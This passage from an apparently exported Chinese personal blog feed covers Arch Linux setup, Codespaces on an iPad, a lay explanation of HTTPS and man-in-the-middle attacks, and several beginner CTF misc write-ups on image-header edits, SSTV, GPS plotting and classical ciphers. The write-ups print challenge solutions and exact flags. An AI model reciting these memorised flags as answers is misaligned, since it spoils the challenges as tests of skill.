bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ sudo pacman -S bluez bluez-utils</span><br><span class="line">$ sudo systemctl <span class="built_in">enable</span> bluetooth.service</span><br><span class="line">$ sudo systemctl start bluetooth.service</span><br></pre></td></tr></table></figure><p>觉得不稳妥的话可以重启一下电脑💻</p><h2 id="声卡配置">声卡配置</h2><p>本来不打算写这一部分,但是有天突然想用用QQ音乐的时候发现音乐一直卡着,网又没问题,猜测是声卡配置有点问题。</p><p>之前使用的是Pulseaudio,经过排查发现只要我在播放卡住时切换一下播放模式就能播放了,很奇怪,也找不到解决办法。于是决定使用<a href="https://wiki.archlinux.org/title/PipeWire">Pipewire</a>,安好后十分顺滑</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo pacman -S pipewire pipewire-pulse pipewire-alsa wireplumber</span><br></pre></td></tr></table></figure><p>安装时会提示和pulseaudio冲突,下定决心的话选择卸载就行了</p><h2 id="电源管理">电源管理</h2><p>很好华硕,拥有rog-control-center,电池管理,风扇转速一站式管理,比艾斯比奥创中心响应快多了,还不用莫名奇妙更新</p><p><img src="https://i0.imgs.ovh/2024/03/13/cxOC3.png" alt="cxOC3.png" /></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ yay -S rog-control-center</span><br></pre></td></tr></table></figure><h2 id="截屏工具">截屏工具</h2><p>用了kde6推荐的Spectacle</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ yay -S Spectacle</span><br></pre></td></tr></table></figure><h2 id="更多基础软件安装">更多基础软件安装</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ yay -S wps-office-cn qqmusic-electron hmcl-stable-bin visual-studio-code-bin</span><br></pre></td></tr></table></figure><h2 id="fcitx5输入法皮肤">fcitx5输入法皮肤</h2><p><a href="https://www.cnblogs.com/maicss/p/15056420.html">https://www.cnblogs.com/maicss/p/15056420.html</a></p><h2 id="自定义随机终端欢迎词">⭐自定义随机终端欢迎词</h2><p><a href="../../../../2024/03/15/Arch-Random-welcome">站内文章</a></p><h2 id="休眠设置">休眠设置</h2><p>参照:<a href="https://arch.icekylin.online/guide/prepare/head-on-blow.html">archlinux 简明指南:包含安装、配置、维护等,帮助新手快速上手</a></p><h2 id="指纹管理">指纹管理</h2><p>艾斯比华硕选一个偏门指纹设备,linux的驱动找都找不到,唯一一个有成功案例的项目作者建议不要运行可能损坏设备,只能未来战士了</p>]]></content>
<tags>
<tag> arch </tag>
</tags>
</entry>
<entry>
<title>LearningPWN</title>
<link href="/2023/05/21/LearningPWN/"/>
<url>/2023/05/21/LearningPWN/</url>
<content type="html"><![CDATA[<h1 id="note-of-pwn">NOTE OF PWN</h1><p>思考良久,最终决定开始学PWN。</p><h2 id="漏洞应用原理初级">漏洞应用原理(初级)</h2>]]></content>
<tags>
<tag> ctf </tag>
<tag> pwn </tag>
</tags>
</entry>
<entry>
<title>About_TKHASH</title>
<link href="/2023/04/09/About-TKHASH/"/>
<url>/2023/04/09/About-TKHASH/</url>
<content type="html"><</a></p><p>得到密码opendoor,打开图片<br /><img src="https://s2.loli.net/2023/04/09/mSJq3lwriB7OY5h.png" alt="M5___@_MW`___3F_FQ@P@WM.png" /><br />然后又给了提示,提示图片高度,于是加高图片高度得到:<br /><img src="https://s2.loli.net/2023/04/09/nePQ3kThSr84RHp.png" alt="MN08SJSQA6B0_NZ_DY~_IXD.png" /></p><p>jpg更改高度的方法为:用winhex打开jpg图片,在标志FFC0之后前四位为长度,然后两位为精度,然后四位为高度,把高度改大就行<br /><img src="https://s2.loli.net/2023/04/21/OPjDm4vd2Szrtle.png" alt="J_V_@YNSR_Q52J5__~E2__9.png" /></p><blockquote><p>444 7777 33 2 7777 999 777 444 4 44 8</p></blockquote><p>这时又卡住了,然后就上网搜索类似文段,最后再外网搜到了相似的提问,解答是用老式手机打字时,一个数字对应多个字母,按几次就是第几个字母</p><p><img src="https://ts1.cn.mm.bing.net/th/id/R-C.d9d2428cb4a8989165ef2df33f4b9f69?rik=yjUaLGJh275RMw&riu=http%3a%2f%2fwww.dgnewstar.cn%2fupfile%2f20190611%2f026-3.jpg&ehk=Lf89yuu4GTS9C8B%2feZIc2QOTCHpKMTPFD%2binycK%2fJW4%3d&risl=&pid=ImgRaw&r=0" alt="键盘" /></p><p>于是对应得到</p><blockquote><p>iseasyright</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>Your next IDE is not on computer</title>
<link href="/2023/03/02/iPad-with-codespace/"/>
<url>/2023/03/02/iPad-with-codespace/</url>
<content type="html"><![CDATA[<h1 id="2020">2020</h1><p><em>2020年,新款iPad发布,带着它那宏伟的标语:<strong>“Your next computer is not computer.”</strong></em></p><h1 id="2023">2023</h1><p>现在已经是2023年了,它,实现了吗?答案是部分实现了,至少一众工作软件都有了iPad版本。不过对于iPad编写代码来说,我认为还并不完善。要么是功能不全,要么是expensive而其功能不全,网页版的IDE稍好一点,但还是比较轻量,VScode on web也限制了很多拓展的使用。那么有没有一种方法可以在iPad上使用功能完整的IDE而且不让我爆金币呢?</p><p>答案是有的!GitHub的codespace项目可以提供一个完整的线上VScode编译环境,并将你的代码等储存在你的仓库中,对于免费用户,可以拥有120core hour的使用时长,而对于在校大学生还可以加入GitHub education,可以获得180core hour的使用时长,对于两核的机器来说即代表着每天3小时的iPad上的功能完备的编程,当然你也可以充钱延长时长。</p><p><em>本质上来说VScode并不是一个IDE,不过大量的插件已经能让它实现IDE的大部分功能</em></p><h1 id="过程">过程</h1><p>没有人会喜欢带着几公斤的笔记本去上课,要是能用iPad完成笔记本的工作该多好呀!</p><p>所以我这个星期便开始着手让我的iPad用上codespace,毕竟背着几公斤的笔记本实在是有些难受。每天3小时可能不多,但是回到寝室后就可以使用笨重的pc了,所以还是大概挺够的。</p><h2 id="首先暂停思考一下需要的物品">首先暂停思考一下需要的物品</h2><ol><li>一个<strong>iPad</strong></li><li>稳定的<strong>科学上网</strong>环境<ol><li>稳定的<strong>节点</strong></li><li><strong>小火箭</strong><ol><li><strong>美区ID</strong>账号</li><li>2.99$</li><li>玄学的赛博运气</li></ol></li><li>强大的耐心</li></ol></li><li>用于coding的<strong>仓库</strong><ol><li>一个GitHub账号</li><li>(GitHub education)</li></ol></li><li>便携的键盘与鼠标(稍稍爆金币)</li><li>学习Linux的基本使用(todo)</li><li>学习Git的基本使用(todo)</li><li><strong>一个强大的哥们</strong></li></ol><h3 id="ipad">iPad</h3><p>iPad就不多说了。</p><h3 id="用于coding的仓库">用于coding的仓库</h3><p>用于coding的仓库可以在其他可以科学上网的设备上注册账号再创建,公开仓库是免费的。GitHub education可以通过以下网址认证<a href="https://education.github.com/">https://education.github.com/</a></p><h3 id="学习">学习</h3><p>Linux的学习主要是为了适应codespace的使用环境,Git的学习是因为使用codespace应该会频繁地在pc和仓库之间pull&push。</p><h3 id="外设">外设</h3><p>键盘鼠标看个人喜好,此处不具体提。建议买个拓展坞,方便多多。</p><h3 id="稳定的科学上网环境强大的耐心">稳定的科学上网环境&强大的耐心</h3><p>最恼火的,也是最玄学的,是网络环境。</p><p>稳定的节点此处并不细讲,买就对了。</p><p>对于国区iPad来说,唯一的障碍就是一款科学上网客户端。Shadowrocket便宜又简单,适合我这样的小白,这里就不多说了。不过,想要下载它需要一个非大陆区ID,这里我选择注册一个美区ID,注册是免费的,这里我参考的是<a href="https://zhuanlan.zhihu.com/p/367821925">【2023年】五分钟注册美区AppleID,手把手教,稳定且耐用!</a>。</p><p>当然,不是一帆风顺的,跟着这篇文章的步骤进行时会卡在登录AppStore这一步,我当时根据评论区的玄学操作操作了一下午,后来又和我哥们操作了快一晚上,都没有结果。期间我哥们让iPad的IP地址到了美国,仍然没用。也试过用AltStore侧载老版本的小火箭,应用闪退。一度想选择放弃。在放弃之前,我们想最后试试评论区的玄学操作:用一台iPhone的AppStore先登录,成功了再在iPad上登录了,于是借到了班长的iPhone,一次成功!真是赛博运气。</p><p>登上了美区ID,但是没有付款方式,这时就要用到万能的某宝。选家看起来可信一点的店购买礼品卡,然后兑换。找到小火箭,购买,下载,将节点导入小火箭,完毕。</p><p><em>值得一提的是,即使没有科学上网环境也能在AppStore下载非大陆区的软件,所以ID的限制在我看来是一种政策层面上可以理解的脱裤子放屁行为</em></p><h2 id="使用">使用</h2><p>关于codespace的使用可以参考这篇文章<a href="https://docs.github.com/zh/codespaces/getting-started/quickstart">https://docs.github.com/zh/codespaces/getting-started/quickstart</a></p><p>现在就可以使用codespace进行代码的编写了,最后附一张运行时的图片</p><p><img src="https://s2.loli.net/2023/03/02/HKvQekFm2Ij5BVY.png" alt="截图" /></p><h1 id="结语">结语</h1><p><strong>要有耐心</strong></p>]]></content>
<tags>
<tag> ipad </tag>
</tags>
</entry>
<entry>
<title>hittps_stupid_me</title>
<link href="/2023/02/10/hittps-stupid-me/"/>
<url>/2023/02/10/hittps-stupid-me/</url>
<content type="html"><![CDATA[<p>记录我的愚蠢行为以及排查过程以及浅层理解https的保密原理</p><h1 id="引子">引子</h1><h2 id="噩兆">噩兆</h2><p>23年2月9日,我的平板终于回到了我的手中,百般喜悦地用了一下午,然后去造一顿汉堡王犒劳自己。</p><p>晚上回到家中,继续使用时去发现软件,游戏等<strong>不能登录</strong>,b站<strong>不能刷</strong>视频,<strong>却能看</strong>视频,太奇怪了!</p><h2 id="迷茫">迷茫</h2><p>一开始我以为是网络的问题,总共试了3个wifi,都不行;以为是设置问题,恢复网络的出厂设置也不行。诡异的是,QQ能发消息,但看不见消息记录里的图片,能传文件,但稍微大一点的文件都不行,真是奇怪。于是我便准备洗漱,第二天去店里看看。</p><h2 id="退路">退路</h2><p>但是我转念一想,马上就要开学了,好不容易在开学前拿回来,我才不想又送去维修!于是便想看看能不能用<strong>线连从电脑传文件</strong>,如果能的话,至少不会影响我学习。</p><h2 id="曙光">曙光</h2><p>连上电脑,只能查看DCIM,不能传文件进去。这时我很绝望,于是就随便看看DCIM里的照片,想找找安慰,结果我的照片有一个<strong>2022年4月的文件夹</strong>,那时我还没没买平板呢!打开一看,是我<strong>今天</strong>一些网络错误的截图,这就有趣了!</p><h2 id="真相大白">真相大白</h2><p>为什么今天的截图会在2022年4月的文件夹里呢?原来是我更改了系统的时间,用来登录一些游戏。而时间一改,<strong>https</strong>就起作用了。经过学习后,我认为应该是在<strong>验证数字证书</strong>一块出现了错误,拒绝了访问,而由于不是所有地方都用的https,所以会出现有些地方能用有些地方不能用的情况。</p><h1 id="一点点https保密原理">一点点https保密原理</h1><p>来自<strong>知乎</strong><a href="https://www.zhihu.com/people/ivan-ygy/posts">顾伊凡YGY</a>,具体的加密算法还得等到之后课堂的学习。</p><p>如果在网上以明文传输,被人截获过后信息就泄露了。防人截获很难,所以我们可以给传输的信息加密,这样就算被截获别人也不知道是什么。</p><h2 id="对称加密">对称加密</h2><p>服务器生成一个密钥,以明文传给浏览器,浏览器用密钥将文件加密后再传输,服务器收到后再用密钥解密,不知道密钥的人无法解密。</p><p>问题来了,如果在<strong>一开始传输密钥时,密钥被截获了</strong>,那后来就没有秘密可言了。于是便有了非对称加密。</p><h2 id="非对称加密">非对称加密</h2><p>非对称是指的加密和解密不用同样的密钥,一个叫公钥,一个叫私钥。公钥加密的东西只能用私钥解开,私钥加密的东西只能用公钥解开。</p><p>服务器将公钥传给浏览器,浏览器用公钥加密文件后传给服务器,服务器再用私钥解密,这样就保证了浏览器到服务器的数据安全。但是从服务器到浏览器使用私钥加密,用公钥解密,如果从一开始截获了传输的公钥,那么<strong>从服务器到浏览器这个方向的文件就没法保证安全。</strong></p><h2 id="改良版非对称加密">改良版非对称加密</h2><p>既然普通的非对称加密能保证一个方向的数据安全,那如果来两个非对称加密是不是就能保证两个方向的安全呢?答案是是的(也许)</p><p>如果服务器生成一组公钥A和私钥A’,浏览器生成一组公钥B和私钥B’,然后彼此把自己的公钥传给对方,传输文件时再用对方的公钥加密,解密时用自己的私钥解密,这样解密用的密钥就都没传经历传输,就不会被截获,也就保证了安全。</p><p>但是实际上却并没用这种方案,为什么呢?先抛去可能出现的安全问题不谈,<strong>非对称加密非常耗时</strong>,而其在你实际使用时并不仅仅是一段传输,会有很多传输形成一条链来给你呈现内容,太耗时可不行。那我们想,对称加密没用这么耗时,哪能不呢将对称加密和非对称加密结合以做到又快又安全呢?答案是可以的。</p><h2 id="对称与非对称结合">对称与非对称结合</h2><p>设想一下,服务器生成一组公钥和私钥,将公钥传输给浏览器,浏览器临时生成一个用于对称加密的密钥X用公钥将其加密,再传输给服务器,服务器再用私钥解开密钥X这样浏览器和服务器就都拥有了密钥X而且这个密钥X没有被泄露,大功告成!</p><p>但是,仍然不安全,为什么呢?这就要提到中间人攻击</p><h2 id="中间人攻击">中间人攻击</h2><p>我们知道,传输的数据还是会被挟持,只不过内容被加密了。在上面这个情境下,黑客先劫持到服务器发送的公钥,然后将浏览器收到额公钥<strong>改为自己的公钥H</strong>,当然黑客持有对应的私钥H’。这时浏览器糊里糊涂地用公钥H加密对称密钥X再发送,又被黑客劫持,黑客再<strong>用自己的私钥H’解出密钥X</strong>,然后用之前劫持的服务器的公钥<strong>将其加密,并传回给服务器</strong>,服务器是不知道黑客干了这些事的,于是便用解出来的密钥X与浏览器进行数据传输,以为自己很安全,但密钥X已经被泄露了。对于改良版非对称加密也是一样的道理,黑客只需要准备两组公钥私钥,充当中间人,服务器发来公钥A,收着,改为发自己的公钥H1给浏览器,浏览器发来公钥B,收着,改为自己的公钥H2发给服务器,服务器给浏览器传输数据,先用自己的私钥H1’解密,然后用公钥B加密再传给浏览器,这样就得到了服务器到浏览器的数据,从浏览器到服务器是一样的。所以还是<strong>不安全</strong>。</p><p>怎么解决呢?<strong>问题出在服务器的公钥被替换了</strong>,所以要保证浏览器接受的公钥是服务器传输的公钥,也就是要一个证明,于是就出现了“<strong>数字证书</strong>”与“<strong>数字签名</strong>”。</p><h2 id="保证公钥没被替换">保证公钥没被替换</h2><h3 id="数字证书">数字证书</h3><p>就像身份证一样,由公安局颁发给我们,证明我们是谁。“<strong>数字证书</strong>”也由相应的权威机构颁发给网站,这个权威机构就是<strong>CA机构(Certificate Authority)</strong>,由他们颁发证书给网站,证书里包含了网站信息,公钥信息。一开始就传输这个证书,这样就可以证明公钥没被篡改。那么有人会问:万一证书被篡改了怎么办?所以数字证书也需要一个防伪措施,而这就是“<strong>数字签名</strong>”。</p><h3 id="数字签名">数字签名</h3><p>为了生成数字签名,CA机构先<strong>生成自己的一组公钥与私钥</strong>,然后将网站的证书<strong>进行hash用以缩短长度</strong>,提高效率,接着用私钥加密签名后和证书<strong>一起组成数字证书</strong>。那浏览器如何验证真伪呢?收到数字证书后,得到明文和签名,将<strong>明文进行hash得到S</strong>,然后用CA机构的<strong>公钥对签名进行解密得到S’</strong>,如果证书没有被篡改,那么<strong>S和S’应该是相同的</strong>,如果不同就立即终止访问。这个时候可能有人问,CA机构的公钥哪里来?因为这是权威机构,所以说,他们的公钥在安装系统时或安装浏览器时就会<strong>预装这些权威机构的公钥。</strong></p><p>而且数字证书是会<strong>更新</strong>的,这样就保证了数据传输的安全</p><blockquote><p>这时回到我的经历,我修改了<strong>系统时间</strong>,而数字证书在制作时是与时间相关的,那么再验证数字证书这一步就会卡住。经我实验,只是把时间向前调<strong>几天,一两星期是没问题的</strong>,这说明调到的去年4月<strong>不在数字证书有效期内</strong>,于是便出现了那些诡异的情况。</p></blockquote><h2 id="每次传输数据都需要生成密钥不会很慢吗">每次传输数据都需要生成密钥不会很慢吗?</h2><p>会,所以浏览器生成密钥后服务器会将其<strong>储存起来</strong>,并给他一个<strong>session ID</strong>,这样下次这个浏览器再想访问时只需要<strong>附上相应的session ID</strong>就行了,大大提高了效率。</p><h1 id="总结">总结</h1><p>这次通过自己造成的问题简单学习了https的保密原理,还是很有收获的。</p><p>By the way 如果你因为各种原因修改了<strong>系统时间</strong>,请一定记住把它<strong>改回来</strong>,不然https就会早晚<strong>教你做人!</strong></p>]]></content>
<tags>
<tag> daily </tag>
<tag> https </tag>
</tags>
</entry>
<entry>
<title>About_Hgame</title>
<link href="/2023/01/12/About_Hgame/"/>
<url>/2023/01/12/About_Hgame/</url>
<content type="html"><![CDATA[<h1 id="week-1">Week 1</h1><h2 id="e99p1ant_want_girlfriend">e99p1ant_want_girlfriend</h2><p>下载下来是一张图片,题目中说了是CRC校验有问题,那么极有可能是高度和宽度被改了,修改高度即可</p><p>方法是在winhex中打开后修改下面标记位置,前四位是宽,后四位是高<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vekJnKND0en8DiyDs31j0SYA8Kn0CYXdTpGsIxawhFeFRmKjFG2WKFNTI9wfxAh0L3eSvtgR0ZHkrbEaySrlmw!/b&bo=JQWpACUFqQADEDU!&rf=viewer_311" alt="" /><br />把高度改大后得到下图<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qCz*QBMhI2J6JdIcc5UzV5f6pPaTlj*E4VWb.PV.IFkyNCSHFmv8e5SLhcdO646YQB7Hnq3U0RP21sb2YBWs.M!/b&bo=uQTrBLkE6wQWECA!&rf=viewer_311" alt="" /></p><blockquote><p>hgame{e99p1ant_want_a_girlfriend_qq_524306184}</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_HWS2023</title>
<link href="/2023/01/09/About-HWS2023/"/>
<url>/2023/01/09/About-HWS2023/</url>
<content type="html"><![CDATA[<h1 id="sound-from-somewhere">sound from somewhere</h1><p>文件下载下来是一个音频,稍微听一听发现是<strong>SSTV</strong>,于是用相应软件解码。</p><p>电脑端有两个软件<strong>MMSSTV</strong>和<strong>RXSSTV</strong>,使用方法是打开软件,切换至虚拟声卡,然后播放音频。</p><p>但是我电脑的虚拟声卡驱动有点问题,于是切换至手机解码,手机没用主动散热,杂音很小,直接外放即可。</p><p>这里使用的软件为<strong>Robot36</strong>,可在谷歌商店下载<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5oYoE7nOk8bcC0ly8nd6idy1OXDusq*EyiPPRdd8APU6tiEAdT*MraHlX80vcSZMrTKdw3WxVQjpApnAe4tkBg4!/b&bo=oAUwDKAFMAwWECA!&rf=viewer_311" alt="" /></p><p><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5v7K*qnN.Ly3BgsTSX0eMv5X.ea5YKiLZ9OdkCVegC6QFKW9b2PvQ62J07beNYVqWncrxWVyPsjwrqSlinS.fu8!/m&ek=1&kp=1&pt=0&bo=QAEAAUABAAEDEDU!&tl=1&vuin=2861126078&tm=1673244000&dis_t=1673244182&dis_k=7153daddf0dcb5ca0e0eaab0c1a1af4c&sce=60-3-3&rf=viewer_311" alt="" /></p><p>得到flag</p><blockquote><p>flag{OuTer_Wilds}</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_NepnepxCatCTF</title>
<link href="/2023/01/01/About-NepnepxCatCTF/"/>
<url>/2023/01/01/About-NepnepxCatCTF/</url>
<content type="html"><![CDATA[<p>看到群友在打,试试看看,还是挺有意思的</p><h1 id="0x01-meowmeow">0x01 MeowMeow</h1><p>看起来就是一张非常正常的图片,于是用stegsolve打开看看File format和Lsb隐写,都没用</p><p>于是用winhex打开,前面很正常,拉到下面时感觉有些奇怪,坐远了后发现flag如下图</p><p><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iJhLOeF8WJEN1rVflAvJa7eUY83QrPN09IAJw*skwk4MVo0e1dp5pyIr4aJrKiclJX9y5.o44E2AwhJchKd0DM!/b&bo=0AIPB9ACDwcRECc!&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5kxBMQX*Se1Iz8CgvYK*HFumgTUaCTptbD*9B7fKEX*fB34aDibfOP7fMFKRVi7IXbFxIaet0mjGuiftbbsLz.I!/b&ek=1&kp=1&pt=0&bo=cQKIBXECiAUDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=d3c8158043df9e1725c7cd369183457c&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5u0YuUpE*k.pvJkGuSyk39ptFanIo2cfxt98hTx6JrA0RUxTMERMNofX9MT.n0WeIcOnR2Nu2QhAfDoM*um9ZSc!/b&ek=1&kp=1&pt=0&bo=kgKrBZICqwUDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=21793d4cc19de99e63dd3a37dded662b&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5u0YuUpE*k.pvJkGuSyk39qetMTnBu0kER3yv6KHM2FVQ41kjraOJ1QqZ2WV7gmkbf8fASgrFYRzRxXwf1JdkNs!/m&ek=1&kp=1&pt=0&bo=fAJZBXwCWQUDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555174&dis_k=1755dca3344a1ae8f30db934b1155396&sce=60-4-3&rf=viewer_311" alt="" /></p><blockquote><p>CatCTF{CAT_GOES_MEOW}</p></blockquote><h1 id="0x02-catchcat">0x02 CatchCat</h1><p>题目提示GPS,打开文件后发现一堆类似于经纬度的数据,上网查询后发现是GPS信息,猜测大概是让我把轨迹画出来,七千多条数据肯定不能用手画了<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5t25KwrkY4Acghkm12JTXOpU.4w1xEWcthplB.3SBQsvEB.jF33zS5ltd0mouRO1TiFM*Lnrd0cJqYme5PERgtU!/b&ek=1&kp=1&pt=0&bo=LAT3AiwE9wIDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=cf124316cdfcbfd1fd8fbc0c04ea44bf&sce=50-1-1&rf=viewer_311" alt="" /></p><p>于是找到了这个网站<a href="https://lbs.amap.com/demo/javascript-api/example/marker/replaying-historical-running-data">https://lbs.amap.com/demo/javascript-api/example/marker/replaying-historical-running-data</a></p><p><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5t25KwrkY4Acghkm12JTXOp3N0Gs3y71J9OXmiCzUbCILJA4*SuaFVAuntSUlIjr4hcjwOTAmrDazQL.i2cnDWc!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gURECc!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=c1f7143040498eddd033602e1ce5f47f&sce=50-1-1&rf=viewer_311" alt="" /><br />这是高德的一个开放平台,可以用于显示轨迹</p><p>于是用excel将GPS数据调整为平台可用的格式</p><p><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5u0YuUpE*k.pvJkGuSyk39rlwlEJMLfblGIHGLKIjcvT06fGfsxXDqZEUTMVkfWWCBkkO6Aq8oDv99Ry590P710!/b&ek=1&kp=1&pt=0&bo=AAr4BQAK.AURECc!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=a406ace31d9c47b9488956eca43560e5&sce=50-1-1&rf=viewer_311" alt="" /></p><p>替换掉平台中原有的三个数据lineArr,center,position,第一个是轨迹,后两个是起点和终点<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5t25KwrkY4Acghkm12JTXOoRyR3K.*YwdcAsmS1zwTeNfwA2zCEdp*xgbTUjogFhNIvm4cqOwNtisRptBTCOwTo!/b&ek=1&kp=1&pt=0&bo=IQLZAyEC2QMDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555177&dis_k=aafc546d71d56b6c8046c47d37ee7295&sce=50-1-1&rf=viewer_311" alt="" /><br />替换好后点击运行</p><p>得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iZpbMh.sgxrUsUIm3C*Pzw.IT0.pbf4bHbCAHfFsjRp*TA.33oURlgT2FP79TuWsIhXPaPCXgLf*BqyTtD4*Vc!/b&ek=1&kp=1&pt=0&bo=UgSvAVIErwEDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672555414&dis_k=7f68ab7615fa47b4ca532c6996037511&sce=60-1-1&rf=viewer_311" alt="" /></p><blockquote><p>CatCTF{GPS_M1ao}</p></blockquote><h1 id="0x03-nepnep-祝你新年快乐啦">0x03 Nepnep 祝你新年快乐啦!</h1><p>送分题,看视频即得</p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>ADworld</title>
<link href="/2022/12/19/About-ADword/"/>
<url>/2022/12/19/About-ADword/</url>
<content type="html"><![CDATA[<h1 id="0x01-删库跑路">0x01 删库跑路</h1><p>题目要求是恢复数据,提示有一款很强大的软件,我找到了winhex。</p><p>然后在恢复数据时错把选择文件夹的界面看成了不能恢复的意思,然后看了题解,与自己的操作一样,然后傻眼了</p><p>这告诉我要相信自己</p><p>qaq</p><h1 id="0x02-凯撒大帝在培根里藏了什么">0x02 凯撒大帝在培根里藏了什么</h1><blockquote><p>ABBABAABBAAAAABABABAABABBAAAAABAABBAAABAABBBABBAABABBABABAAABABBBAABAABABABBBAABBABAA</p></blockquote><p>文件由A和B组成,一眼凯撒密码和培根密码的混合,网上找解密的网站即可</p><h2 id="培根密码">培根密码</h2><p>由<strong>两个符号</strong>组成,每五个符号表示一个字母</p><p>加密时,明文中的每个字母都会转换成一组五个英文字母。其转换依靠下表:</p><table><thead><tr><th>原字母</th><th>对应培根密码</th><th>原字母</th><th>对应培根密码</th><th>原字母</th><th>对应培根密码</th><th>原字母</th><th>对应培根密码</th></tr></thead><tbody><tr><td>A/a</td><td>aaaaa</td><td>H/h</td><td>aabbb</td><td>O/o</td><td>abbba</td><td>V/v</td><td>babab</td></tr><tr><td>B/b</td><td>aaaab</td><td>I/i</td><td>abaaa</td><td>P/p</td><td>abbbb</td><td>W/w</td><td>babba</td></tr><tr><td>C/c</td><td>aaaba</td><td>J/j</td><td>abaab</td><td>Q/q</td><td>baaaa</td><td>X/x</td><td>babbb</td></tr><tr><td>D/d</td><td>aaabb</td><td>K/k</td><td>ababa</td><td>R/r</td><td>baaab</td><td>Y/y</td><td>bbaaa</td></tr><tr><td>E/e</td><td>aabaa</td><td>L/l</td><td>ababb</td><td>S/s</td><td>baaba</td><td>Z/z</td><td>bbaab</td></tr><tr><td>F/f</td><td>aabab</td><td>M/m</td><td>abbaa</td><td>T/t</td><td>baabb</td><td></td><td></td></tr><tr><td>G/g</td><td>aabba</td><td>N/n</td><td>abbab</td><td>U/u</td><td>babaa</td><td></td><td></td></tr></tbody></table><h1 id="0x03-简单的base编码">0x03 简单的base编码</h1><p>一堆乱码,猜测是进行了很多次base64,多次解码后得到</p><blockquote><p>F#S<YRa[$*x7,>{F3DH5N/3.5+J6WD%P841JRN_i51F1Z!</p></blockquote><p>然后我就卡住了,看完wp后才知道<strong>含有#就有可能是base92编码</strong></p><h2 id="base家族特征">base家族特征</h2><h3 id="base16">base16</h3><p>16进制(0-9,A-F),没有“=”</p><h3 id="base32">base32</h3><p>(A-Z,2-7,=)没有0,1</p><h3 id="base64">base64</h3><p>(A-Z,a-z,0-9,+/(不同系统不同),=)</p><h3 id="base85">base85</h3><h3 id="base36">base36</h3><h3 id="base58">base58</h3><p>(64减去O,0,+,/,I,i)</p><h3 id="base91">base91</h3><p>(加上了符号)</p><h3 id="base92">base92</h3><h3 id="base62">base62</h3><h1 id="0x04-来自银河的信号">0x04 来自银河的信号</h1><p>还是看的wp,但是这道题爆炸有意思,解题思路在题目:来自银河的信号</p><p>我们都知道,NASA在之前曾向太空发送了旅行者一号和二号两张黄金唱片送向太空,里面包含了一些音乐与图像,而图像是如何保存在音频中的呢?这里参考<a href="https://www.bilibili.com/video/BV1Fg411T7Sd/?vd_source=21b186df21e95121735877d3d4fd9e4d">b站视频</a></p><p>而这道题正是借用了这个概念。运用<strong>MMSSTV</strong>将音频转化为图片得到</p><blockquote><p>f7liavga{1M_0105n_cC@okmei_nFge!s}</p></blockquote><p>已经很像flag了,而且正好隔一个字母就是flag,所以我们有理由相信这是<strong>栅栏解密</strong></p><table><thead><tr><th>f</th><th>7</th></tr></thead><tbody><tr><td>l</td><td>i</td></tr><tr><td>a</td><td>v</td></tr><tr><td>g</td><td>a</td></tr><tr><td>{</td><td>1</td></tr><tr><td>M</td><td>_</td></tr><tr><td>0</td><td>1</td></tr><tr><td>0</td><td>5</td></tr><tr><td>n</td><td>_</td></tr><tr><td>c</td><td>C</td></tr><tr><td>@</td><td>o</td></tr><tr><td>k</td><td>m</td></tr><tr><td>e</td><td>i</td></tr><tr><td>_</td><td>n</td></tr><tr><td>F</td><td>g</td></tr><tr><td>e</td><td>!</td></tr><tr><td>s</td><td>}</td></tr></tbody></table><p>连起来就是</p><blockquote><p>flag{M00nc@ke_Fes7iva1_15_Coming!}</p></blockquote><h1 id="0x05-steg没有py">0x05 